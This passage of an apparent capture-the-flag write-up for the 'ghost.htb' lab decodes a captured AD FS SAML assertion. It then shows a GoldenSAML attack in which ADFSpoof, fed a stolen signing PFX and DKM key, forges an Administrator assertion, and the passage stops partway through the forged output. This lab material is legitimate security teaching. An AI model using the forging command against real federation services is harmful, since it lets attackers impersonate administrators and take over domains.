1OE5YTDN1Uko1NHFpdFdCMXk4S01VanhKY0IxVGlvSFVGaUNBY2dKaWg0cVI4bm9TYm0rTXFEWVIvcUJaL1BCOHFlYisreHVGTUNOdGx6SmZYY1R3cktBL2NBdWRWVkNFajE0ZHJBUndVUWNydGxaYlJ2V2dEdm5DUGI1WlVMTGVhaVA3eTZRRGFjSi93d09SWHZmcGxVMkpneVB5Q0tpOHVMVDRzYXVtSGI3TFhOUXFvakVWa1VDOFpXd2pNWm02MzJOeVhDazZxQi85eGpXY2lUU0FzMm93Z1BGN0QzWWF3YlkrdE95NDJTZGoyeVZrQmROcXBDUU9hRTNuVlgxVTdnbUg5MjRTUFdJTnlwSit6bEIzMThON0JicThjL1pLM2pISzJ5aFpydGZNcnd1b3JUV29EL2hHc0kyTWgza0hYbjZMdFBSbWVLUE5ncjdQcEhwb01PSEk4N0c1cGxGSGtZVURMZ0UvOGdDdE4xUlZPTDljdVptNC9qQlRhYWhYK1daYmN4TERGc205NnVTaFU2RFRWREx2UVAyWGxnQzVFS21oaXFhNm1uQ0N1eDNwdFE2dDFRN1U5dFZXMmdTelUwcjRTWng0NWRYa2hBb21heG5XMVMrZW9ESFE2ancyUE1nR1U5QTVHVlJFR3kzK2M4TEs5M1k1ZDV2ZVhvOTc5NTRZMjJrdTZ3WVZMNkIwcmFQS0JGSlpLMTZocDJoSG5tNnduREdpTTBBQmMzZmtRPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPEtleUluZm8geG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpYNTA5RGF0YT48ZHM6WDUwOUNlcnRpZmljYXRlPk1JSUU1akNDQXM2Z0F3SUJBZ0lRSkZjV3dNeWJSYTVPNCtXTzV0V29HVEFOQmdrcWhraUc5dzBCQVFzRkFEQXVNU3d3S2dZRFZRUURFeU5CUkVaVElGTnBaMjVwYm1jZ0xTQm1aV1JsY21GMGFXOXVMbWRvYjNOMExtaDBZakFnRncweU5EQTJNVGd4TmpFM01UQmFHQTh5TVRBME1EVXpNREUyTVRjeE1Gb3dMakVzTUNvR0ExVUVBeE1qUVVSR1V5QlRhV2R1YVc1bklDMGdabVZrWlhKaGRHbHZiaTVuYUc5emRDNW9kR0l3Z2dJaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQ0R3QXdnZ0lLQW9JQ0FRQytBQU9JZkVxdGxZY24xNTNMMUJ2R1FnRHlYVG5Zd1RSenNLNTkrekUxemdHS085TjVuYjhGaytkYUtwV0xRYWlIN29ESGFlbncvUWF4Qmc1cWRlRFltRDNvejhLeWFBMXlnWUJyem00d1c3RmY4N3JLOUZlNUo1L2g2VzlnNzQ5aDVCSXFQUU9wMGw2czFyZnVtT2NjTjR5Ylc5NUVXTkwwdnVRWHZDK0tRNEQ0Z01YdThtQ0dweHR2SUw4aWxOdEp1SUczT1JZU0toUmFsMHl5SmVPaEc0eGdsclpKRjE4cDl3aG5FNm9tZ2dtQTZuMnNoRGsvdHZUWWppaTVlNy9pY1dUS2tyc01DcGFLVU5rN214ZE1aaFFhYjdTbWZLclpONHBSRDdkVmc1enpJeUQ3VXpTOUNITEM2eE56cS9aMGh1YU9hSmhPU2RKU2dhdC9ic0c4bmJ4MTlIRC8reXBXOUoyTHRORnVnZFd0bVVCV0RPUUJZVmhCOFNnNFZFR2dQOWp5SXRISDJienNEZmpSZEo4RTF1TkpXUC9rUUExK3dZbE9kZExxVTNiMElzQ3ZsQThFdllXMFQxUnN1NzdvNHgvdzBnV2Iwb1FQRUl6N3o5NzNiNDk2d3FRdDNEbnlmZU8zbFhYZlpOY3ZhajVLQ1AyVHRHQitLc2hGOXBrSVB4cTdGMmdNaDdRanhqUkhzQTI5VjhqRm85Z0xEN2tQVmljYUlVZHNnaUZIbllRRjE0YTUySnRSMVY1aU4raDk1Smt1dUVxUVdEQkhBdlBFQkJaa0VaSCs1eVQrYUNGWFhYK0JwUHQzUUdqWUxlSlU4Q0ZzTXRuOFFWTFl2TGRjVlJzVW5SaC9XSGlYd0pPT0VWRUNhOXc3L3lWbmhhbENOQngxRS9sNEtRSURBUUFCTUEwR0NTcUdTSWIzRFFFQkN3VUFBNElDQVFBV1lLWlczY0RDQk82ZFQzeWZsM09jdXlwMUxWS1ZJKzlwRngvYmJXcFdqU2RoNmIzOUxUeHhEN0ZZVXRodVdQWjNyRjRHK0ZkTUZISEN4M1lwRW1VRm5FTEtzWHFoWjk4OUFYNThJLzNtYmZVbEtXZUlQTFNMa3ArZVJab01Ka3Q3azEvS1h0RGFzT1FuME5zZ1lFb3dMQkltTUNNdTl1dWpuQ21GT3dIUC9JQmhnWVFNSGg0NkJ6U1hXUDNpOFZYYnJSdERwby9jLy9PRkpoR21ubkY4WlBtaTR4dHpmU0RCcFZLcXdWTHA3OENndU14alFkK2JkVWI0NTU4OFpKNENMc1BkUlFwMzBXSjEvQ05JYWVudkpXdEEyRzVJWnc1VTBFV0NKTG9ZSldGczlpeU9hMS95NTVydVc2SjhsSUdEMHdtb0VlQ2w5Q0gxRWQ0ZHpVZFVYZjFNQkNZUDNYOTJpYXh6VUUwdXBHZC8xUW82SFR5eU9sV3VBd3JrVDJWSEVMS1ZaS09nOCtkbHk5N2d5WklmVXRRd0lrUHdObDh2bzA0Y2ZqK2h6T3ZCelBLQUFZaDE0TkxndmVBSS9EcU1uTzBPS08rdzFIQkt3NjROQkNuOGdvYXpGK1B1RmZVTzB5TkhGTDRreE1wY2FwNmlldjZnM0JYQ1NEd2ZxVFVPRXVFczdxOW9ZS2dxMnFuTlZPVEloaEluTVhCekVtNmlQMTNqZnVPb1hKZFBBbkVVWG40eTV5d0E5N3J0YkduWkVQeXgxZjFFa1gvaGJxQlA0dm9ndjlrbHRhVUVFVlhrUytoUHB4Wm1leENOckJEMXE3R0ovNTBlYllsQzBDZXY4dzZNczh0TTBPcnZwcEdZbFdydFB3ZXZFdmZpUmt3QkxHN0VNQW5MU3c9PTwvZHM6WDUwOUNlcnRpZmljYXRlPjwvZHM6WDUwOURhdGE%2BPC9LZXlJbmZvPjwvZHM6U2lnbmF0dXJlPjxTdWJqZWN0PjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIEluUmVzcG9uc2VUbz0iXzZiNGQ5OTQ4ZGNkOTUxODA2N2JhYjliNDJhODNjMzNiODNhYjQ0NjYiIE5vdE9uT3JBZnRlcj0iMjAyNi0wOS0yNFQxMzoyMzowMy41NzVaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIiAvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI2LTA5LTI0VDEzOjE4OjAzLjQxOVoiIE5vdE9uT3JBZnRlcj0iMjAyNi0wOS0yNFQxNDoxODowMy40MTlaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5qdXN0aW4uYnJhZGxleUBnaG9zdC5odGI8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5qdXN0aW4uYnJhZGxleTwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoxNzozOS4xMjJaIj48QXV0aG5Db250ZXh0PjxBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This value is simply a <code class="language-plaintext highlighter-rouge">base64 XML</code> encoded <code class="language-plaintext highlighter-rouge">SAML Assertion</code>, decoding it we get the following.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="rouge-code"><pre>&lt;?xml <span class="nv">version</span><span class="o">=</span><span class="s2">"1.0"</span>?&gt;
&lt;samlp:Response xmlns:samlp<span class="o">=</span><span class="s2">"urn:oasis:names:tc:SAML:2.0:protocol"</span> <span class="nv">ID</span><span class="o">=</span><span class="s2">"_f71be7ef-7574-4b12-9b7b-5acd1d0e922f"</span> <span class="nv">Version</span><span class="o">=</span><span class="s2">"2.0"</span> <span class="nv">IssueInstant</span><span class="o">=</span><span class="s2">"2026-09-24T13:18:03.575Z"</span> <span class="nv">Destination</span><span class="o">=</span><span class="s2">"https://core.ghost.htb:8443/adfs/saml/postResponse"</span> <span class="nv">Consent</span><span class="o">=</span><span class="s2">"urn:oasis:names:tc:SAML:2.0:consent:unspecified"</span> <span class="nv">InResponseTo</span><span class="o">=</span><span class="s2">"_6b4d9948dcd9518067bab9b42a83c33b83ab4466"</span><span class="o">&gt;</span>                                                               
  &lt;Issuer <span class="nv">xmlns</span><span class="o">=</span><span class="s2">"urn:oasis:names:tc:SAML:2.0:assertion"</span><span class="o">&gt;</span>http://federation.ghost.htb/adfs/services/trust&lt;/Issuer&gt;
  &lt;samlp:Status&gt;
    &lt;samlp:StatusCode <span class="nv">Value</span><span class="o">=</span><span class="s2">"urn:oasis:names:tc:SAML:2.0:status:Success"</span>/&gt;
  &lt;/samlp:Status&gt;
  &lt;Assertion <span class="nv">xmlns</span><span class="o">=</span><span class="s2">"urn:oasis:names:tc:SAML:2.0:assertion"</span> <span class="nv">ID</span><span class="o">=</span><span class="s2">"_c849c497-c68d-47a6-9259-cc2ab5b149e2"</span> <span class="nv">IssueInstant</span><span class="o">=</span><span class="s2">"2026-09-24T13:18:03.450Z"</span> <span class="nv">Version</span><span class="o">=</span><span class="s2">"2.0"</span><span class="o">&gt;</span>
    &lt;Issuer&gt;http://federation.ghost.htb/adfs/services/trust&lt;/Issuer&gt;
    &lt;ds:Signature xmlns:ds<span class="o">=</span><span class="s2">"http://www.w3.org/2000/09/xmldsig#"</span><span class="o">&gt;</span>
      &lt;ds:SignedInfo&gt;
        &lt;ds:CanonicalizationMethod <span class="nv">Algorithm</span><span class="o">=</span><span class="s2">"http://www.w3.org/2001/10/xml-exc-c14n#"</span>/&gt;
        &lt;ds:SignatureMethod <span class="nv">Algorithm</span><span class="o">=</span><span class="s2">"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"</span>/&gt;
        &lt;ds:Reference <span class="nv">URI</span><span class="o">=</span><span class="s2">"#_c849c497-c68d-47a6-9259-cc2ab5b149e2"</span><span class="o">&gt;</span>
          &lt;ds:Transforms&gt;
            &lt;ds:Transform <span class="nv">Algorithm</span><span class="o">=</span><span class="s2">"http://www.w3.org/2000/09/xmldsig#enveloped-signature"</span>/&gt;
            &lt;ds:Transform <span class="nv">Algorithm</span><span class="o">=</span><span class="s2">"http://www.w3.org/2001/10/xml-exc-c14n#"</span>/&gt;
          &lt;/ds:Transforms&gt;
          &lt;ds:DigestMethod <span class="nv">Algorithm</span><span class="o">=</span><span class="s2">"http://www.w3.org/2001/04/xmlenc#sha256"</span>/&gt;
          &lt;ds:DigestValue&gt;LoVh6nINTjNlUwsARqkd4sPE0bGhp1uiS20RHiMzZG0<span class="o">=</span>&lt;/ds:DigestValue&gt;
        &lt;/ds:Reference&gt;
      &lt;/ds:SignedInfo&gt;
      &lt;ds:SignatureValue&gt;HDfTx/e9L9kObxcDsTCXKpUWqaJQfeTDLaKZz1kIKq3dsXtMxeCHLYd4+PLqutss9oDX6adgiiGQDL2oFMu2VUDosH3CuehYhwyzw04FWjJJkL0OaznGcllKk58NXL3uRJ54qitWB1y8KMUjxJcB1TioHUFiCAcgJih4qR8noSbm+MqDYR/qBZ/PB8qeb++xuFMCNtlzJfXcTwrKA/cAudVVCEj14drARwUQcrtlZbRvWgDvnCPb5ZULLeaiP7y6QDacJ/wwORXvfplU2JgyPyCKi8uLT4saumHb7LXNQqojEVkUC8ZWwjMZm632NyXCk6qB/9xjWciTSAs2owgPF7D3YawbY+tOy42Sdj2yVkBdNqpCQOaE3nVX1U7gmH924SPWINypJ+zlB318N7Bbq8c/ZK3jHK2yhZrtfMrwuorTWoD/hGsI2Mh3kHXn6LtPRmeKPNgr7PpHpoMOHI87G5plFHkYUDLgE/8gCtN1RVOL9cuZm4/jBTaahX+WZbcxLDFsm96uShU6DTVDLvQP2XlgC5EKmhiqa6mnCCux3ptQ6t1Q7U9tVW2gSzU0r4SZx45dXkhAomaxnW1S+eoDHQ6jw2PMgGU9A5GVREGy3+c8LK93Y5d5veXo97954Y22ku6wYVL6B0raPKBFJZK16hp2hHnm6wnDGiM0ABc3fkQ<span class="o">=</span>&lt;/ds:SignatureValue&gt;
      &lt;KeyInfo <span class="nv">xmlns</span><span class="o">=</span><span class="s2">"http://www.w3.org/2000/09/xmldsig#"</span><span class="o">&gt;</span>
        &lt;ds:X509Data&gt;
          &lt;ds:X509Certificate&gt;MIIE5jCCAs6gAwIBAgIQJFcWwMybRa5O4+WO5tWoGTANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDEyNBREZTIFNpZ25pbmcgLSBmZWRlcmF0aW9uLmdob3N0Lmh0YjAgFw0yNDA2MTgxNjE3MTBaGA8yMTA0MDUzMDE2MTcxMFowLjEsMCoGA1UEAxMjQURGUyBTaWduaW5nIC0gZmVkZXJhdGlvbi5naG9zdC5odGIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC+AAOIfEqtlYcn153L1BvGQgDyXTnYwTRzsK59+zE1zgGKO9N5nb8Fk+daKpWLQaiH7oDHaenw/QaxBg5qdeDYmD3oz8KyaA1ygYBrzm4wW7Ff87rK9Fe5J5/h6W9g749h5BIqPQOp0l6s1rfumOccN4ybW95EWNL0vuQXvC+KQ4D4gMXu8mCGpxtvIL8ilNtJuIG3ORYSKhRal0yyJeOhG4xglrZJF18p9whnE6omggmA6n2shDk/tvTYjii5e7/icWTKkrsMCpaKUNk7mxdMZhQab7SmfKrZN4pRD7dVg5zzIyD7UzS9CHLC6xNzq/Z0huaOaJhOSdJSgat/bsG8nbx19HD/+ypW9J2LtNFugdWtmUBWDOQBYVhB8Sg4VEGgP9jyItHH2bzsDfjRdJ8E1uNJWP/kQA1+wYlOddLqU3b0IsCvlA8EvYW0T1Rsu77o4x/w0gWb0oQPEIz7z973b496wqQt3DnyfeO3lXXfZNcvaj5KCP2TtGB+KshF9pkIPxq7F2gMh7QjxjRHsA29V8jFo9gLD7kPVicaIUdsgiFHnYQF14a52JtR1V5iN+h95JkuuEqQWDBHAvPEBBZkEZH+5yT+aCFXXX+BpPt3QGjYLeJU8CFsMtn8QVLYvLdcVRsUnRh/WHiXwJOOEVECa9w7/yVnhalCNBx1E/l4KQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAWYKZW3cDCBO6dT3yfl3Ocuyp1LVKVI+9pFx/bbWpWjSdh6b39LTxxD7FYUthuWPZ3rF4G+FdMFHHCx3YpEmUFnELKsXqhZ989AX58I/3mbfUlKWeIPLSLkp+eRZoMJkt7k1/KXtDasOQn0NsgYEowLBImMCMu9uujnCmFOwHP/IBhgYQMHh46BzSXWP3i8VXbrRtDpo/c//OFJhGmnnF8ZPmi4xtzfSDBpVKqwVLp78CguMxjQd+bdUb45588ZJ4CLsPdRQp30WJ1/CNIaenvJWtA2G5IZw5U0EWCJLoYJWFs9iyOa1/y55ruW6J8lIGD0wmoEeCl9CH1Ed4dzUdUXf1MBCYP3X92iaxzUE0upGd/1Qo6HTyyOlWuAwrkT2VHELKVZKOg8+dly97gyZIfUtQwIkPwNl8vo04cfj+hzOvBzPKAAYh14NLgveAI/DqMnO0OKO+w1HBKw64NBCn8goazF+PuFfUO0yNHFL4kxMpcap6iev6g3BXCSDwfqTUOEuEs7q9oYKgq2qnNVOTIhhInMXBzEm6iP13jfuOoXJdPAnEUXn4y5ywA97rtbGnZEPyx1f1EkX/hbqBP4vogv9kltaUEEVXkS+hPpxZmexCNrBD1q7GJ/50ebYlC0Cev8w6Ms8tM0OrvppGYlWrtPwevEvfiRkwBLG7EMAnLSw<span class="o">==</span>&lt;/ds:X509Certificate&gt;
        &lt;/ds:X509Data&gt;
      &lt;/KeyInfo&gt;
    &lt;/ds:Signature&gt;
    &lt;Subject&gt;
      &lt;SubjectConfirmation <span class="nv">Method</span><span class="o">=</span><span class="s2">"urn:oasis:names:tc:SAML:2.0:cm:bearer"</span><span class="o">&gt;</span>
        &lt;SubjectConfirmationData <span class="nv">InResponseTo</span><span class="o">=</span><span class="s2">"_6b4d9948dcd9518067bab9b42a83c33b83ab4466"</span> <span class="nv">NotOnOrAfter</span><span class="o">=</span><span class="s2">"2026-09-24T13:23:03.575Z"</span> <span class="nv">Recipient</span><span class="o">=</span><span class="s2">"https://core.ghost.htb:8443/adfs/saml/postResponse"</span>/&gt;
      &lt;/SubjectConfirmation&gt;
    &lt;/Subject&gt;
    &lt;Conditions <span class="nv">NotBefore</span><span class="o">=</span><span class="s2">"2026-09-24T13:18:03.419Z"</span> <span class="nv">NotOnOrAfter</span><span class="o">=</span><span class="s2">"2026-09-24T14:18:03.419Z"</span><span class="o">&gt;</span>
      &lt;AudienceRestriction&gt;
        &lt;Audience&gt;https://core.ghost.htb:8443&lt;/Audience&gt;
      &lt;/AudienceRestriction&gt;
    &lt;/Conditions&gt;
    &lt;AttributeStatement&gt;
      &lt;Attribute <span class="nv">Name</span><span class="o">=</span><span class="s2">"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"</span><span class="o">&gt;</span>
        &lt;AttributeValue&gt;justin.bradley@ghost.htb&lt;/AttributeValue&gt;
      &lt;/Attribute&gt;
      &lt;Attribute <span class="nv">Name</span><span class="o">=</span><span class="s2">"http://schemas.xmlsoap.org/claims/CommonName"</span><span class="o">&gt;</span>
        &lt;AttributeValue&gt;justin.bradley&lt;/AttributeValue&gt;
      &lt;/Attribute&gt;
    &lt;/AttributeStatement&gt;
    &lt;AuthnStatement <span class="nv">AuthnInstant</span><span class="o">=</span><span class="s2">"2026-09-24T13:17:39.122Z"</span><span class="o">&gt;</span>
      &lt;AuthnContext&gt;
        &lt;AuthnContextClassRef&gt;urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport&lt;/AuthnContextClassRef&gt;
      &lt;/AuthnContext&gt;
    &lt;/AuthnStatement&gt;
  &lt;/Assertion&gt;
&lt;/samlp:Response&gt;
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This <code class="language-plaintext highlighter-rouge">SAML Assertion</code> is used to authenticate to <code class="language-plaintext highlighter-rouge">core.ghost.htb</code> through credentials on the <code class="language-plaintext highlighter-rouge">ghost.htb</code> domain via the <code class="language-plaintext highlighter-rouge">federation.ghost.htb</code> issuer. We can use all this information we’ve gathered to conduct a <a href="https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adfs-federation-services/#adfs-golden-saml">GoldenSAML</a>.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost/ADFSpoof</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">uv</span><span class="w"> </span><span class="nx">run</span><span class="w"> </span><span class="nt">--python</span><span class="w"> </span><span class="nx">3.11</span><span class="w"> </span><span class="nt">--script</span><span class="w"> </span><span class="o">.</span><span class="nx">/ADFSpoof.py</span><span class="w"> </span><span class="nt">-b</span><span class="w"> </span><span class="o">..</span><span class="nx">/EncryptedPfx.bin</span><span class="w"> </span><span class="o">..</span><span class="nx">/dkmKey.bin</span><span class="w"> </span><span class="nt">-s</span><span class="w"> </span><span class="nx">core.ghost.htb</span><span class="w"> </span><span class="nx">saml2</span><span class="w"> </span><span class="nt">--endpoint</span><span class="w"> </span><span class="nx">https://core.ghost.htb:8443/adfs/saml/postResponse</span><span class="w"> </span><span class="nt">--nameidformat</span><span class="w"> </span><span class="nx">urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName</span><span class="w"> </span><span class="nt">--nameid</span><span class="w"> </span><span class="s1">'ghost.htb/Administrator'</span><span class="w"> </span><span class="nt">--rpidentifier</span><span class="w"> </span><span class="nx">https://core.ghost.htb:8443</span><span class="w"> </span><span class="nt">--assertions</span><span class="w"> </span><span class="s1">'&lt;Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"&gt;&lt;AttributeValue&gt;Administrator@ghost.htb&lt;/AttributeValue&gt;&lt;/Attribute&gt;&lt;Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"&gt;&lt;AttributeValue&gt;Administrator&lt;/AttributeValue&gt;&lt;/Attribute&gt;'</span><span class="w">
    </span><span class="err">___</span><span class="w">    </span><span class="err">____</span><span class="w">  </span><span class="err">___________</span><span class="w">                   </span><span class="err">____</span><span class="w">
   </span><span class="n">/</span><span class="w">   </span><span class="o">|</span><span class="w">  </span><span class="n">/</span><span class="w"> </span><span class="nx">__</span><span class="w"> </span><span class="nx">\/</span><span class="w"> </span><span class="nx">____/</span><span class="w"> </span><span class="nx">___/____</span><span class="w">  </span><span class="nx">____</span><span class="w">  </span><span class="nx">____</span><span class="w">  </span><span class="nx">/</span><span class="w"> </span><span class="nx">__/</span><span class="w">
  </span><span class="n">/</span><span class="w"> </span><span class="nx">/</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/_</span><span class="w">   </span><span class="nx">\__</span><span class="w"> </span><span class="nx">\/</span><span class="w"> </span><span class="nx">__</span><span class="w"> </span><span class="nx">\/</span><span class="w"> </span><span class="nx">__</span><span class="w"> </span><span class="nx">\/</span><span class="w"> </span><span class="nx">__</span><span class="w"> </span><span class="nx">\/</span><span class="w"> </span><span class="nx">/_</span><span class="w">  
 </span><span class="n">/</span><span class="w"> </span><span class="nx">___</span><span class="w"> </span><span class="o">|</span><span class="n">/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">__/</span><span class="w">  </span><span class="nx">___/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">__/</span><span class="w">  
</span><span class="n">/_/</span><span class="w">  </span><span class="o">|</span><span class="err">_</span><span class="n">/_____/_/</span><span class="w">    </span><span class="nx">/____/</span><span class="w"> </span><span class="o">.</span><span class="nf">___</span><span class="nx">/\____/\____/_/</span><span class="w">     
                        </span><span class="n">/_/</span><span class="w">                        

</span><span class="n">A</span><span class="w"> </span><span class="nx">tool</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">AD</span><span class="w"> </span><span class="nx">FS</span><span class="w"> </span><span class="nx">security</span><span class="w"> </span><span class="nx">tokens</span><span class="w">
</span><span class="n">Created</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="err">@</span><span class="nx">doughsec</span><span class="w">

</span><span class="n">PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfT1VUMU4zIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoyODowNi4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM</span><span class="o">%</span><span class="nx">2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfU1dOVzUzIiBJc3N1ZUluc3RhbnQ9IjIwMjYtMDktMjRUMTM6Mjg6MDYuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI</span><span class="o">%</span><span class="nx">2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI</span><span class="o">%</span><span class="nx">2BPGRzOlNpZ25lZEluZm8</span><span class="o">%</span><span class="nx">2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX1NXTlc1MyI</span><span class="o">%</span><span class="nx">2BPGRzOlRyYW5zZm9ybXM</span><span class="o">%</span><span class="nx">2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8</span><span class="o">%</span><span class="nx">2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8</span><span class="o">%</span><span class="nx">2BPGRzOkRpZ2VzdFZhbHVlPm95ZFI5V09TUlI1WlkvbTBIRHozdFhESGxKRFQvZ3R4RGlGLzEzZGIzdG89PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8</span><span class="o">%</span><span 